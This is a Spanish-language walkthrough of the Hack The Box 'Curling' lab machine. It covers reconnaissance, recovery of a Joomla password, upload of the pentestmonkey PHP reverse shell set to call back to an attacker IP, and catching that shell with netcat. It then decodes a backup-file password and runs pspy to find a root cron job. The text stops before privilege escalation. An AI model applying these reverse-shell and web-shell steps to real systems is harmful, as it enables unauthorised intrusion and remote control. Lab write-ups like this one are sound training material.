Hack The Box Curling
Curling
Se procede con la fase de reconocimiento lanzando primeramente un ping
a la dirección IP 10.10.10.150.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.150
PING 10.10.10.150 (10.10.10.150) 56(84) bytes of data.
64 bytes from 10.10.10.150: icmp_seq=1 ttl=63 time=135 ms
--- 10.10.10.150 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 134.865/134.865/134.865/0.000 ms
De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap
para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p- --open -T5 -v -n 10.10.10.150 -oG allPorts
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-18 14:10 CST
Initiating Ping Scan at 14:10
Scanning 10.10.10.150 [4 ports]
Completed Ping Scan at 14:10, 0.15s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:10
Scanning 10.10.10.150 [65535 ports]
Discovered open port 80/tcp on 10.10.10.150
Discovered open port 22/tcp on 10.10.10.150
Completed SYN Stealth Scan at 14:11, 35.08s elapsed (65535 total ports)
Nmap scan report for 10.10.10.150
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 35.37 seconds
Raw packets sent: 69583 (3.062MB) | Rcvd: 69523 (2.781MB)
Mediante la función extractPorts definida a nivel de zsh
, se obtiene la información más relevante de la captura grepeable.
1
2
3
4
5
6
7
8
9
10
11
12
❯ extractPorts allPorts
───────┬─────────────────────────────────────
│ File: extractPorts.tmp
│ Size: 117 B
───────┼─────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.150
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ nmap -sCV -p22,80 10.10.10.150 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-18 14:14 CST
Nmap scan report for 10.10.10.150
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.26 seconds
Vemos el puerto 80 abierto, por lo tanto, vamos a que a lo que nos enfrentamos con whatweb
:
1
2
❯ whatweb http://10.10.10.150/
http://10.10.10.150/ [200 OK] Apache[2.4.29], Bootstrap, Cookies[c0548020854924e0aecd05ed9f5b672b], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], HttpOnly[c0548020854924e0aecd05ed9f5b672b], IP[10.10.10.150], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PasswordField[password], Script[application/json], Title[Home]
Vemos que nos enfrentamos ante un CMS Joomla! que investigando un poco, tenemos que el usuario default es admin y el panel de login se encuentra bajo el recurso /administrator
, por lo que vamos a validar si existe dicho recurso haciendo un fuzzing con nmap
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ nmap --script http-enum -p80 10.10.10.150 -oN webScan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-18 14:41 CST
Nmap scan report for 10.10.10.150
Host is up (0.13s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /administrator/: Possible admin folder
| /administrator/index.php: Possible admin folder
| /administrator/manifests/files/joomla.xml: Joomla version 3.8.8
| /language/en-GB/en-GB.xml: Joomla version 3.8.8
| /htaccess.txt: Joomla!
| /README.txt: Interesting, a readme.
| /bin/: Potentially interesting folder
| /cache/: Potentially interesting folder
| /images/: Potentially interesting folder
| /includes/: Potentially interesting folder
| /libraries/: Potentially interesting folder
| /modules/: Potentially interesting folder
| /templates/: Potentially interesting folder
|_ /tmp/: Potentially interesting folder
Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds
Checando la página web.
Si vemos el código fuente de la página, hasta el final vemos un comentario apuntando a recurso secret.txt
:
Vamos a echarle un ojo a ese recurso.
Tenemos una cadena de texto posiblemente en base 64, así que la desciframo:
1
2
❯ echo "Q3VybGluZzIwMTgh" | base64 -d; echo
Curling2018!
Tenemos una posible contraseña pero no sabemos a que usuario está destinana; por lo tanto, vamos a echarle un ojo a las publicaciones por si encontramos algo interesante.
Tenemos usuarios potenciales a probar, como por ejemplo: superuser, super.user, admin, administrator y floris. Al probarlas, tenemos que la combinación es floris : Curling2018!; por lo tanto vamos a loguearnos bajo el panel de administración de Joomla!:
Vemos que nos enfrentamos ante un Joomla 3.8.8, por lo que investigando un poco, encontramos una forma de subir un archivo php que nos permita ejecutar obtener una reverse shell hackingarticles. Siguiendo el artículo, nos dice que debemos navegar en Extensions > Templates:
Seleccionamos de la tabla que nos parace aquel que no está asginado (Beez3 - Default) en el campo de Template:
Antes de generar un archivo, vamos a descargarnos una reverse shell de pentestmonkey
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ mv /home/k4miyo/Descargas/Firefox/php-reverse-shell-1.0.tar.gz .
❯ ll
.rw-r--r-- root root 22 B Fri Mar 18 14:36:07 2022 credentials.txt
.rw-r--r-- k4miyo k4miyo 8.8 KB Fri Mar 18 14:49:25 2022 php-reverse-shell-1.0.tar.gz
❯ tar -xf php-reverse-shell-1.0.tar.gz
❯ ll
drwx------ k4miyo 1004 132 B Sat May 26 11:50:01 2007 php-reverse-shell-1.0
.rw-r--r-- root root 22 B Fri Mar 18 14:36:07 2022 credentials.txt
.rw-r--r-- k4miyo k4miyo 8.8 KB Fri Mar 18 14:49:25 2022 php-reverse-shell-1.0.tar.gz
❯ cd php-reverse-shell-1.0
❯ ll
.rw------- k4miyo 1004 62 B Sat May 26 11:50:01 2007 CHANGELOG
.rw------- k4miyo 1004 18 KB Sat May 26 11:50:01 2007 COPYING.GPL
.rw------- k4miyo 1004 308 B Sat May 26 11:50:01 2007 COPYING.PHP-REVERSE-SHELL
.rwx------ k4miyo 1004 5.4 KB Sat May 26 11:50:01 2007 php-reverse-shell.php
Editamos el archivo php-reverse-shell.php
modificando los valores que nos indica.
1
2
3
4
5
6
7
8
9
10
11
47 │ set_time_limit (0);
48 │ $VERSION = "1.0";
49 │ $ip = '10.10.14.27'; // CHANGE THIS
50 │ $port = 443; // CHANGE THIS
51 │ $chunk_size = 1400;
52 │ $write_a = null;
53 │ $error_a = null;
54 │ $shell = 'uname -a; w; id; /bin/sh -i';
55 │ $daemon = 0;
56 │ $debug = 0;
Ahora creamos un nuevo archivo en New File dentro del CMS y llenamos los campos que nos solicita, File Name, Extension y le damos en *Create.
En el cuadro de texto que nos aparece, copiamos el pegamos el contenido del archivo php-reverse-shell.php
y guardamos los cambios:
Ahora, para apuntar a nuestro archivo, debemos recordar que el fuzzing de nmap
existe un recurso llamado templates
y como nos encontramos dentro de dicha sección, podriamos pensar que igual en dicho recurso está nuestro archivo. Por lo tanto apuntamos a nuestro archivo y nos ponemos en escucha por el puerto 443:
1
http://10.10.10.150/templates/beez3/k4mishell.php
1
2
3
4
5
6
7
8
9
10
11
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.150] 39842
Linux curling 4.15.0-156-generic #163-Ubuntu SMP Thu Aug 19 23:31:58 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
21:01:34 up 52 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
Ya nos encontramos dentro de la máquina como el usuario www-data y antes de cualquier otra cosa, vamos a realizar un Tratamiento de la tty. Ahora, si ingresamos al directorio del usuario floris, vemos que tenemos permisos de lectura sobre el archivo password_backup
y encontramos que se encuentra en formato hexadecimal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
www-data@curling:/home/floris$ ls -l
total 12
drwxr-x--- 2 root floris 4096 May 22 2018 admin-area
-rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup
-rw-r----- 1 floris floris 33 May 22 2018 user.txt
www-data@curling:/home/floris$ cat password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
000000f0: 819b bb48 ...H
www-data@curling:/home/floris$
Vamos a traernos dicho archivo de nuestra máquina para trabajar más cómodos. Revertimos el archivo con xxd
:
1
2
3
4
❯ cat password_backup | xxd -ps -r
BZh91AY&SYHAP)ava:4 NnT#@%`0
"n z@@i4hdi9hPQdh4`i5nJh*}y.<~x> sVTzHߢ1V`Fs
ۇ7j:XdRk )p7۫;9PCЂYP HB* G U@rrE8PH#
Vemos que está medio raro el resultado, así que vamos a exportarlo a un archivo.
1
2
3
❯ cat password_backup | xxd -ps -r > data
❯ file data
data: data
Al aplicar el comando file
sobre el archivo data
tenemos que nos indica data; así que vamos a exportar otro archivo pero quitando los parámetros -ps
:
1
2
3
❯ cat password_backup | xxd -r > data2
❯ file data2
data2: bzip2 compressed data, block size = 900k
Por medio de los Magic Numbers vemos que es un archivo comprimido bzip2; por lo tanto, vamos a descomprimirlo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ 7z x data2
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_MX.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 7 PRO 4750G with Radeon Graphics (860F01),ASM,AES-NI)
Scanning the drive for archives:
1 file, 244 bytes (1 KiB)
Extracting archive: data2
--
Path = data2
Type = bzip2
Everything is Ok
Size: 173
Compressed: 244
❯ ll
drwx------ k4miyo 1004 132 B Fri Mar 18 14:51:39 2022 php-reverse-shell-1.0
.rw-r--r-- root root 22 B Fri Mar 18 14:36:07 2022 credentials.txt
.rw-r--r-- root root 309 B Fri Mar 18 15:16:14 2022 data
.rw-r--r-- root root 244 B Fri Mar 18 15:17:37 2022 data2
.rw-r--r-- root root 173 B Fri Mar 18 15:17:37 2022 data2~
.rw-r--r-- root root 1.1 KB Fri Mar 18 15:13:10 2022 password_backup
Vemos que nos generó el archivo data2~
:
1
2
❯ file data2~
data2~: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141
Vemos que se trata de otro archivo comprimido, así que vamos a descomprimirlo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ 7z x data2~
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_MX.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 7 PRO 4750G with Radeon Graphics (860F01),ASM,AES-NI)
Scanning the drive for archives:
1 file, 173 bytes (1 KiB)
Extracting archive: data2~
--
Path = data2~
Type = gzip
Headers Size = 19
Everything is Ok
Size: 141
Compressed: 173
❯ ll
drwx------ k4miyo 1004 132 B Fri Mar 18 14:51:39 2022 php-reverse-shell-1.0
.rw-r--r-- root root 22 B Fri Mar 18 14:36:07 2022 credentials.txt
.rw-r--r-- root root 309 B Fri Mar 18 15:16:14 2022 data
.rw-r--r-- root root 244 B Fri Mar 18 15:17:37 2022 data2
.rw-r--r-- root root 173 B Fri Mar 18 15:17:37 2022 data2~
.rw-r--r-- root root 141 B Tue May 22 14:16:20 2018 password
.rw-r--r-- root root 1.1 KB Fri Mar 18 15:13:10 2022 password_backup
Tenemos el archivo password el cual parece ser otro archivo comprimido:
1
2
❯ file password
password: bzip2 compressed data, block size = 900k
Lo descomprimimos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ 7z x password
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_MX.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 7 PRO 4750G with Radeon Graphics (860F01),ASM,AES-NI)
Scanning the drive for archives:
1 file, 141 bytes (1 KiB)
Extracting archive: password
--
Path = password
Type = bzip2
Everything is Ok
Size: 10240
Compressed: 141
❯ ll
drwx------ k4miyo 1004 132 B Fri Mar 18 14:51:39 2022 php-reverse-shell-1.0
.rw-r--r-- root root 22 B Fri Mar 18 14:36:07 2022 credentials.txt
.rw-r--r-- root root 309 B Fri Mar 18 15:16:14 2022 data
.rw-r--r-- root root 244 B Fri Mar 18 15:17:37 2022 data2
.rw-r--r-- root root 173 B Fri Mar 18 15:17:37 2022 data2~
.rw-r--r-- root root 141 B Tue May 22 14:16:20 2018 password
.rw-r--r-- root root 1.1 KB Fri Mar 18 15:13:10 2022 password_backup
.rw-r--r-- root root 10 KB Tue May 22 14:16:20 2018 password~
❯ file password~
password~: POSIX tar archive (GNU)
Tenemos una vez maś otro comprimido, lo volvemos a descomprimir:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ 7z x password~
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_MX.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 7 PRO 4750G with Radeon Graphics (860F01),ASM,AES-NI)
Scanning the drive for archives:
1 file, 10240 bytes (10 KiB)
Extracting archive: password~
--
Path = password~
Type = tar
Physical Size = 10240
Headers Size = 9728
Code Page = UTF-8
Everything is Ok
Size: 19
Compressed: 10240
❯ ll
drwx------ k4miyo 1004 132 B Fri Mar 18 14:51:39 2022 php-reverse-shell-1.0
.rw-r--r-- root root 22 B Fri Mar 18 14:36:07 2022 credentials.txt
.rw-r--r-- root root 309 B Fri Mar 18 15:16:14 2022 data
.rw-r--r-- root root 244 B Fri Mar 18 15:17:37 2022 data2
.rw-r--r-- root root 173 B Fri Mar 18 15:17:37 2022 data2~
.rw-r--r-- root root 141 B Tue May 22 14:16:20 2018 password
.rw-r--r-- root root 19 B Tue May 22 14:15:47 2018 password.txt
.rw-r--r-- root root 1.1 KB Fri Mar 18 15:13:10 2022 password_backup
.rw-r--r-- root root 10 KB Tue May 22 14:16:20 2018 password~
Ya tenemos un password.txt
que al abrirlo vemos la contraseña posiblemente del usuario floris; por lo tanto vamos a tratar de conectarnos por ssh:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ssh floris@10.10.10.150
The authenticity of host '10.10.10.150 (10.10.10.150)' can't be established.
ECDSA key fingerprint is SHA256:o1Cqn+GlxiPRiKhany4ZMStLp3t9ePE9GjscsUsEjWM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.150' (ECDSA) to the list of known hosts.
floris@10.10.10.150's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-156-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Mar 18 21:26:27 UTC 2022
System load: 0.0 Processes: 172
Usage of /: 49.2% of 9.78GB Users logged in: 0
Memory usage: 22% IP address for ens33: 10.10.10.150
Swap usage: 0%
0 updates can be applied immediately.
Last login: Wed Sep 8 11:42:07 2021 from 10.10.14.15
floris@curling:~$ whoami
floris
floris@curling:~$
Ahora si ya somos el usuario floris y podemos visualizar la flag (user.txt). Vamos a enumerar un poco el sistema para ver de que forma podemos escalar privilegios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
floris@curling:~$ id
uid=1000(floris) gid=1004(floris) groups=1004(floris)
floris@curling:~$ sudo -l
[sudo] password for floris:
floris@curling:~$ cd /
floris@curling:/$ find \-perm -4000 2>/dev/null
./snap/core/4486/bin/mount
./snap/core/4486/bin/ping
./snap/core/4486/bin/ping6
./snap/core/4486/bin/su
./snap/core/4486/bin/umount
./snap/core/4486/usr/bin/chfn
./snap/core/4486/usr/bin/chsh
./snap/core/4486/usr/bin/gpasswd
./snap/core/4486/usr/bin/newgrp
./snap/core/4486/usr/bin/passwd
./snap/core/4486/usr/bin/sudo
./snap/core/4486/usr/lib/dbus-1.0/dbus-daemon-launch-helper
./snap/core/4486/usr/lib/openssh/ssh-keysign
./snap/core/4486/usr/lib/snapd/snap-confine
./snap/core/4486/usr/sbin/pppd
./usr/lib/openssh/ssh-keysign
./usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
./usr/lib/snapd/snap-confine
./usr/lib/eject/dmcrypt-get-device
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/policykit-1/polkit-agent-helper-1
./usr/bin/newgidmap
./usr/bin/chsh
./usr/bin/pkexec
./usr/bin/chfn
./usr/bin/newuidmap
./usr/bin/newgrp
./usr/bin/gpasswd
./usr/bin/at
./usr/bin/passwd
./usr/bin/sudo
./usr/bin/traceroute6.iputils
./bin/umount
./bin/fusermount
./bin/su
./bin/ping
./bin/mount
floris@curling:/$
Vemos el binario pkexec
con permisos SUID y podríamos tratar de explotar PwnKit # CVE-2021-4034; sin embargo, vamos a resolver la máquina de la forma como fue pensada. Por lo tanto, vamos a observar procesos que se estén ejecutando en el sistema a intervalos regulares y lo haremos con pspy. Nos descargamos el repositorio:
1
2
3
4
5
6
7
8
❯ git clone https://github.com/DominicBreuker/pspy
Clonando en 'pspy'...
remote: Enumerating objects: 1087, done.
remote: Counting objects: 100% (61/61), done.
remote: Compressing objects: 100% (37/37), done.
remote: Total 1087 (delta 31), reused 37 (delta 21), pack-reused 1026
Recibiendo objetos: 100% (1087/1087), 9.28 MiB | 8.69 MiB/s, listo.
Resolviendo deltas: 100% (483/483), listo.
Compilamos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ cd pspy/
❯ go mod init github.com/DominicBreuker/pspy
go: creating new go.mod: module github.com/DominicBreuker/pspy
go: copying requirements from Gopkg.lock
go: to add module requirements and sums:
go mod tidy
❯ GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -mod=mod .
go: finding module for package github.com/dominicbreuker/pspy/cmd
go: found github.com/dominicbreuker/pspy/cmd in github.com/dominicbreuker/pspy v1.2.0
❯ ll
drwxr-xr-x root root 14 B Fri Mar 18 15:31:34 2022 cmd
drwxr-xr-x root root 302 B Fri Mar 18 15:31:34 2022 docker
drwxr-xr-x root root 32 B Fri Mar 18 15:31:34 2022 images
drwxr-xr-x root root 70 B Fri Mar 18 15:31:34 2022 internal
drwxr-xr-x root root 40 B Fri Mar 18 15:31:34 2022 vendor
.rw-r--r-- root root 259 B Fri Mar 18 15:34:51 2022 go.mod
.rw-r--r-- root root 811 B Fri Mar 18 15:34:51 2022 go.sum
.rw-r--r-- root root 870 B Fri Mar 18 15:31:34 2022 Gopkg.lock
.rw-r--r-- root root 800 B Fri Mar 18 15:31:34 2022 Gopkg.toml
.rw-r--r-- root root 34 KB Fri Mar 18 15:31:34 2022 LICENSE
.rw-r--r-- root root 211 B Fri Mar 18 15:31:34 2022 main.go
.rw-r--r-- root root 3.4 KB Fri Mar 18 15:31:34 2022 Makefile
.rwxr-xr-x root root 2.6 MB Fri Mar 18 15:34:52 2022 pspy
.rw-r--r-- root root 8.6 KB Fri Mar 18 15:31:34 2022 README.md
Reducimos el tamaña del binario pspy
con upx
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ upx brute pspy
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: brute: FileNotFoundException: brute: No such file or directory
2752512 -> 1060368 38.52% linux/amd64 pspy
Packed 1 file.
❯ ll
drwxr-xr-x root root 14 B Fri Mar 18 15:31:34 2022 cmd
drwxr-xr-x root root 302 B Fri Mar 18 15:31:34 2022 docker
drwxr-xr-x root root 32 B Fri Mar 18 15:31:34 2022 images
drwxr-xr-x root root 70 B Fri Mar 18 15:31:34 2022 internal
drwxr-xr-x root root 40 B Fri Mar 18 15:31:34 2022 vendor
.rw-r--r-- root root 259 B Fri Mar 18 15:34:51 2022 go.mod
.rw-r--r-- root root 811 B Fri Mar 18 15:34:51 2022 go.sum
.rw-r--r-- root root 870 B Fri Mar 18 15:31:34 2022 Gopkg.lock
.rw-r--r-- root root 800 B Fri Mar 18 15:31:34 2022 Gopkg.toml
.rw-r--r-- root root 34 KB Fri Mar 18 15:31:34 2022 LICENSE
.rw-r--r-- root root 211 B Fri Mar 18 15:31:34 2022 main.go
.rw-r--r-- root root 3.4 KB Fri Mar 18 15:31:34 2022 Makefile
.rwxr-xr-x root root 1.0 MB Fri Mar 18 15:34:52 2022 pspy
.rw-r--r-- root root 8.6 KB Fri Mar 18 15:31:34 2022 README.md
Ahora si lo tranferimos a la máquina víctima bajo un directorio donde tengamos permisos:
1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.150 - - [18/Mar/2022 15:36:46] "GET /pspy HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
floris@curling:/$ cd /dev/shm/
floris@curling:/dev/shm$ wget http://10.10.14.27/pspy pspy
--2022-03-18 21:36:45-- http://10.10.14.27/pspy
Connecting to 10.10.14.27:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1060368 (1.0M) [application/octet-stream]
Saving to: ‘pspy’
pspy 100%[=======================================================>] 1.01M 1.22MB/s in 0.8s
2022-03-18 21:36:46 (1.22 MB/s) - ‘pspy’ saved [1060368/1060368]
--2022-03-18 21:36:46-- http://pspy/
Resolving pspy (pspy)... failed: Temporary failure in name resolution.
wget: unable to resolve host address ‘pspy’
FINISHED --2022-03-18 21:36:46--
Total wall clock time: 1.1s
Downloaded: 1 files, 1.0M in 0.8s (1.22 MB/s)
floris@curling:/dev/shm$
Le damos permisos de ejecución:
1
2
3
4
5
floris@curling:/dev/shm$ ls -l
total 1036
-rw-rw-r-- 1 floris floris 1060368 Mar 18 21:34 pspy
floris@curling:/dev/shm$ chmod +x pspy
floris@curling:/dev/shm$
Y ahora si procedemos a ejecutarlo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
floris@curling:/dev/shm$ ./pspy
pspy - version: - Commit SHA:
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on
inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2022/03/18 21:38:11 CMD: UID=103 PID=986 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-ac
tivation --syslog-only
2022/03/18 21:38:11 CMD: UID=0 PID=969 | /usr/sbin/atd -f
2022/03/18 21:38:11 CMD: UID=0 PID=96 |
2022/03/18 21:38:11 CMD: UID=0 PID=90 |
2022/03/18 21:38:11 CMD: UID=0 PID=9 | 2022/03/18 21:38:11 CMD: UID=0 PID=89 |
2022/03/18 21:38:11 CMD: UID=0 PID=88 |
2022/03/18 21:38:11 CMD: UID=0 PID=87 |
2022/03/18 21:38:11 CMD: UID=0 PID=86 |
2022/03/18 21:38:11 CMD: UID=0 PID=85 |
2022/03/18 21:38:11 CMD: UID=101 PID=830 | /lib/systemd/systemd-resolved
2022/03/18 21:38:11 CMD: UID=100 PID=809 | /lib/systemd/systemd-networkd
2022/03/18 21:38:11 CMD: UID=0 PID=8 |
2022/03/18 21:38:11 CMD: UID=0 PID=7 | 2022/03/18 21:38:11 CMD: UID=0 PID=635 | /usr/bin/vmtoolsd
2022/03/18 21:38:11 CMD: UID=0 PID=634 | /usr/bin/VGAuthService
2022/03/18 21:38:11 CMD: UID=0 PID=6 | 2022/03/18 21:38:11 CMD: UID=62583 PID=581 | /lib/systemd/systemd-timesyncd
2022/03/18 21:38:11 CMD: UID=0 PID=546 | 2022/03/18 21:38:11 CMD: UID=0 PID=521 |
2022/03/18 21:38:11 CMD: UID=0 PID=518 | /lib/systemd/systemd-udevd 2022/03/18 21:38:11 CMD: UID=0 PID=517 |
2022/03/18 21:38:11 CMD: UID=0 PID=515 |
2022/03/18 21:38:11 CMD: UID=0 PID=514 | 2022/03/18 21:38:11 CMD: UID=0 PID=512 |
2022/03/18 21:38:11 CMD: UID=0 PID=504 | /sbin/lvmetad -f 2022/03/18 21:38:11 CMD: UID=0 PID=502 |
2022/03/18 21:38:11 CMD: UID=0 PID=498 | /lib/systemd/systemd-journald
2022/03/18 21:38:11 CMD: UID=0 PID=43 |
2022/03/18 21:38:11 CMD: UID=1000 PID=4240 | ./pspy
---
2022/03/18 21:48:10 CMD: UID=0 PID=1108 | /usr/lib/policykit-1/polkitd --no-debug
2022/03/18 21:48:10 CMD: UID=0 PID=11 |
2022/03/18 21:48:10 CMD: UID=0 PID=1092 | /usr/sbin/sshd -D
2022/03/18 21:48:10 CMD: UID=0 PID=1079 | /usr/sbin/cron -f
2022/03/18 21:48:10 CMD: UID=102 PID=1051 | /usr/sbin/rsyslogd -n
2022/03/18 21:48:10 CMD: UID=0 PID=105 |
2022/03/18 21:48:10 CMD: UID=0 PID=1046 | /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
2022/03/18 21:48:10 CMD: UID=0 PID=1036 | /lib/systemd/systemd-logind
2022/03/18 21:48:10 CMD: UID=0 PID=1035 | /usr/lib/snapd/snapd
2022/03/18 21:48:10 CMD: UID=0 PID=1034 | /usr/sbin/irqbalance --foreground
2022/03/18 21:48:10 CMD: UID=0 PID=1015 | /usr/bin/lxcfs /var/lib/lxcfs/
2022/03/18 21:48:10 CMD: UID=0 PID=1012 | /usr/lib/accountsservice/accounts-daemon
2022/03/18 21:48:10 CMD: UID=0 PID=10 |
2022/03/18 21:48:10 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
2022/03/18 21:49:01 CMD: UID=0 PID=4440 | /usr/sbin/CRON -f
2022/03/18 21:49:01 CMD: UID=0 PID=4439 | sleep 1
2022/03/18 21:49:01 CMD: UID=0 PID=4438 | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
2022/03/18 21:49:01 CMD: UID=0 PID=4437 | /usr/sbin/CRON -f
2022/03/18 21:49:01 CMD: UID=0 PID=4436 | /usr/sbin/CRON -f
